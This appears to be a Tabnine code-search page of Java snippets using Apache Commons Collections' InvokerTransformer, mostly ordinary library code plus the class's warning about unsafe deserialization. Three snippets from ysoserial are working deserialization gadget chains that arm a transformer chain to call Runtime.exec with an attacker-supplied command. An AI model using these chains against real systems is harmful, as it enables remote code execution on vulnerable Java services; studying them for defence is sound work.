Tabnine Logo
InvokerTransformer
Code IndexAdd Tabnine to your IDE (free)

How to use
InvokerTransformer
in
org.apache.commons.collections.functors

Best Java code snippets using org.apache.commons.collections.functors.InvokerTransformer (Showing top 20 results out of 315)

origin: commons-collections/commons-collections

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}
origin: commons-collections/commons-collections

/**
 * Gets a Transformer that invokes a method on the input object.
 * The method must have no parameters. If the input object is null, 
 * null is returned.
 * <p>
 * For example, <code>TransformerUtils.invokerTransformer("getName");</code>
 * will call the <code>getName/code> method on the input object to 
 * determine the transformer result.
 * 
 * @see org.apache.commons.collections.functors.InvokerTransformer
 * 
 * @param methodName  the method name to call on the input object, may not be null
 * @return the transformer
 * @throws IllegalArgumentException if the methodName is null.
 */
public static Transformer invokerTransformer(String methodName){
  return InvokerTransformer.getInstance(methodName, null, null);
}
origin: wildfly/wildfly

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}
origin: commons-collections/commons-collections

/**
 * Gets a Transformer that invokes a method on the input object.
 * The method parameters are specified. If the input object is null, 
 * null is returned.
 * 
 * @see org.apache.commons.collections.functors.InvokerTransformer
 * 
 * @param methodName  the name of the method
 * @param paramTypes  the parameter types
 * @param args  the arguments
 * @return the transformer
 * @throws IllegalArgumentException if the method name is null
 * @throws IllegalArgumentException if the paramTypes and args don't match
 */
public static Transformer invokerTransformer(String methodName, Class[] paramTypes, Object[] args){
  return InvokerTransformer.getInstance(methodName, paramTypes, args);
}
origin: commons-collections/commons-collections

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}
origin: wildfly/wildfly

/**
 * Gets a Transformer that invokes a method on the input object.
 * The method parameters are specified. If the input object is null, 
 * null is returned.
 * 
 * @see org.apache.commons.collections.functors.InvokerTransformer
 * 
 * @param methodName  the name of the method
 * @param paramTypes  the parameter types
 * @param args  the arguments
 * @return the transformer
 * @throws IllegalArgumentException if the method name is null
 * @throws IllegalArgumentException if the paramTypes and args don't match
 */
public static Transformer invokerTransformer(String methodName, Class[] paramTypes, Object[] args){
  return InvokerTransformer.getInstance(methodName, paramTypes, args);
}
origin: commons-collections/commons-collections

public Object makeObject() {
  return new InvokerTransformer("toString", new Class[0], new Object[0]);
}
origin: wildfly/wildfly

/**
 * Gets a Transformer that invokes a method on the input object.
 * The method must have no parameters. If the input object is null, 
 * null is returned.
 * <p>
 * For example, <code>TransformerUtils.invokerTransformer("getName");</code>
 * will call the <code>getName/code> method on the input object to 
 * determine the transformer result.
 * 
 * @see org.apache.commons.collections.functors.InvokerTransformer
 * 
 * @param methodName  the method name to call on the input object, may not be null
 * @return the transformer
 * @throws IllegalArgumentException if the methodName is null.
 */
public static Transformer invokerTransformer(String methodName){
  return InvokerTransformer.getInstance(methodName, null, null);
}
origin: wildfly/wildfly

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}
origin: commons-collections/commons-collections

/**
 * Creates a Closure that will invoke a specific method on the closure's
 * input object by reflection.
 *
 * @see org.apache.commons.collections.functors.InvokerTransformer
 * @see org.apache.commons.collections.functors.TransformerClosure
 * 
 * @param methodName  the name of the method
 * @return the <code>invoker</code> closure
 * @throws IllegalArgumentException if the method name is null
 */
public static Closure invokerClosure(String methodName) {
  // reuse transformer as it has caching - this is lazy really, should have inner class here
  return asClosure(InvokerTransformer.getInstance(methodName));
}
origin: frohoff/ysoserial

new InvokerTransformer("getMethod", new Class[] {
    String.class, Class[].class }, new Object[] {
    "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
    Object.class, Object[].class }, new Object[] {
    null, new Object[0] }),
new InvokerTransformer("exec",
    new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
origin: commons-collections/commons-collections

/**
 * Creates a Closure that will invoke a specific method on the closure's
 * input object by reflection.
 *
 * @see org.apache.commons.collections.functors.InvokerTransformer
 * @see org.apache.commons.collections.functors.TransformerClosure
 * 
 * @param methodName  the name of the method
 * @param paramTypes  the parameter types
 * @param args  the arguments
 * @return the <code>invoker</code> closure
 * @throws IllegalArgumentException if the method name is null
 * @throws IllegalArgumentException if the paramTypes and args don't match
 */
public static Closure invokerClosure(String methodName, Class[] paramTypes, Object[] args) {
  // reuse transformer as it has caching - this is lazy really, should have inner class here
  return asClosure(InvokerTransformer.getInstance(methodName, paramTypes, args));
}
origin: frohoff/ysoserial

public BadAttributeValueExpException getObject(final String command) throws Exception {
  final String[] execArgs = new String[] { command };
  // inert chain for setup
  final Transformer transformerChain = new ChainedTransformer(
      new Transformer[]{ new ConstantTransformer(1) });
  // real chain for after setup
  final Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] }),
      new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),
      new InvokerTransformer("exec",
        new Class[] { String.class }, execArgs),
      new ConstantTransformer(1) };
  final Map innerMap = new HashMap();
  final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
  BadAttributeValueExpException val = new BadAttributeValueExpException(null);
  Field valfield = val.getClass().getDeclaredField("val");
  valfield.setAccessible(true);
  valfield.set(val, entry);
  Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
  return val;
}
origin: wildfly/wildfly

/**
 * Creates a Closure that will invoke a specific method on the closure's
 * input object by reflection.
 *
 * @see org.apache.commons.collections.functors.InvokerTransformer
 * @see org.apache.commons.collections.functors.TransformerClosure
 * 
 * @param methodName  the name of the method
 * @return the <code>invoker</code> closure
 * @throws IllegalArgumentException if the method name is null
 */
public static Closure invokerClosure(String methodName) {
  // reuse transformer as it has caching - this is lazy really, should have inner class here
  return asClosure(InvokerTransformer.getInstance(methodName));
}
origin: frohoff/ysoserial

public InvocationHandler getObject(final String command) throws Exception {
  final String[] execArgs = new String[] { command };
  // inert chain for setup
  final Transformer transformerChain = new ChainedTransformer(
    new Transformer[]{ new ConstantTransformer(1) });
  // real chain for after setup
  final Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] }),
      new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),
      new InvokerTransformer("exec",
        new Class[] { String.class }, execArgs),
      new ConstantTransformer(1) };
  final Map innerMap = new HashMap();
  final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
  final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
  Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
  return handler;
}
origin: commons-collections/commons-collections

/**
 * Creates a Predicate that invokes a method on the input object.
 * The method must return either a boolean or a non-null Boolean,
 * and have no parameters. If the input object is null, a 
 * PredicateException is thrown.
 * <p>
 * For example, <code>PredicateUtils.invokerPredicate("isEmpty");</code>
 * will call the <code>isEmpty</code> method on the input object to 
 * determine the predicate result.
 * 
 * @see org.apache.commons.collections.functors.InvokerTransformer
 * @see org.apache.commons.collections.functors.TransformerPredicate
 * 
 * @param methodName  the method name to call on the input object, may not be null
 * @return the predicate
 * @throws IllegalArgumentException if the methodName is null.
 */
public static Predicate invokerPredicate(String methodName){
  // reuse transformer as it has caching - this is lazy really, should have inner class here
  return asPredicate(InvokerTransformer.getInstance(methodName));
}
origin: org.apache.servicemix.bundles/org.apache.servicemix.bundles.commons-collections

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}
origin: wildfly/wildfly

/**
 * Creates a Closure that will invoke a specific method on the closure's
 * input object by reflection.
 *
 * @see org.apache.commons.collections.functors.InvokerTransformer
 * @see org.apache.commons.collections.functors.TransformerClosure
 * 
 * @param methodName  the name of the method
 * @param paramTypes  the parameter types
 * @param args  the arguments
 * @return the <code>invoker</code> closure
 * @throws IllegalArgumentException if the method name is null
 * @throws IllegalArgumentException if the paramTypes and args don't match
 */
public static Closure invokerClosure(String methodName, Class[] paramTypes, Object[] args) {
  // reuse transformer as it has caching - this is lazy really, should have inner class here
  return asClosure(InvokerTransformer.getInstance(methodName, paramTypes, args));
}
origin: org.apache.directory.api/api-ldap-client-all

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}
origin: commons-collections/commons-collections

/**
 * Creates a Predicate that invokes a method on the input object.
 * The method must return either a boolean or a non-null Boolean,
 * and have no parameters. If the input object is null, a 
 * PredicateException is thrown.
 * <p>
 * For example, <code>PredicateUtils.invokerPredicate("isEmpty");</code>
 * will call the <code>isEmpty</code> method on the input object to 
 * determine the predicate result.
 * 
 * @see org.apache.commons.collections.functors.InvokerTransformer
 * @see org.apache.commons.collections.functors.TransformerPredicate
 * 
 * @param methodName  the method name to call on the input object, may not be null
 * @param paramTypes  the parameter types
 * @param args  the arguments
 * @return the predicate
 * @throws IllegalArgumentException if the method name is null
 * @throws IllegalArgumentException if the paramTypes and args don't match
 */
public static Predicate invokerPredicate(String methodName, Class[] paramTypes, Object[] args){
  // reuse transformer as it has caching - this is lazy really, should have inner class here
  return asPredicate(InvokerTransformer.getInstance(methodName, paramTypes, args));
}
org.apache.commons.collections.functorsInvokerTransformer

Javadoc

Transformer implementation that creates a new object instance by reflection.

WARNING: from v3.2.2 onwards this class will throw an UnsupportedOperationException when trying to serialize or de-serialize an instance to prevent potential remote code execution exploits.

In order to re-enable serialization support for InvokerTransformerthe following system property can be used (via -Dproperty=true):

 
org.apache.commons.collections.enableUnsafeSerialization 

Most used methods

  • <init>
    Constructor that performs no validation. Use getInstance if you want that.
  • getInstance
    Gets an instance of this transformer calling a specific method with specific values.

Popular in Java

  • Reactive rest calls using spring rest template
  • getApplicationContext (Context)
  • notifyDataSetChanged (ArrayAdapter)
  • compareTo (BigDecimal)
  • Rectangle (java.awt)
    A Rectangle specifies an area in a coordinate space that is enclosed by the Rectangle object's top-
  • BufferedImage (java.awt.image)
    The BufferedImage subclass describes an java.awt.Image with an accessible buffer of image data. All
  • NumberFormat (java.text)
    The abstract base class for all number formats. This class provides the interface for formatting and
  • BlockingQueue (java.util.concurrent)
    A java.util.Queue that additionally supports operations that wait for the queue to become non-empty
  • BoxLayout (javax.swing)
  • Options (org.apache.commons.cli)
    Main entry-point into the library. Options represents a collection of Option objects, which describ
  • Top plugins for WebStorm
Tabnine Logo
  • Products

    Search for Java codeSearch for JavaScript code
  • IDE Plugins

    IntelliJ IDEAWebStormVisual StudioAndroid StudioEclipseVisual Studio CodePyCharmSublime TextPhpStormVimGoLandRubyMineEmacsJupyter NotebookJupyter LabRiderDataGripAppCode
  • Company

    About UsContact UsCareers
  • Resources

    FAQBlogTabnine AcademyTerms of usePrivacy policyJava Code IndexJavascript Code Index
Get Tabnine for your IDE now